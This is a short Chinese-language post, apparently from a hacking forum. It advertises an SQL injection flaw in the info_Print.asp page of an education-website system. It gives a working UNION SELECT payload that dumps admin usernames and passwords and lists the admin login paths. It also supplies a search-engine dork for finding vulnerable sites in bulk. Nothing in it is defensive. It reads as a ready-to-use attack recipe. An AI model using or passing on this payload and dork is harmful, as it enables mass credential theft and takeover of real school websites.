教育站打印页面注入漏洞oday
教育站打印页面漏洞存在注入漏洞可直接爆出管理帐号密码(老洞)
漏洞存在页面:info_Print.asp
漏洞类型:注入漏洞
测试漏洞代码
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
网站登录后台:
website/ad_login.asp
/ad_login.asp
搜索关键字批量检测: inurl:info_Print.asp?ArticleID=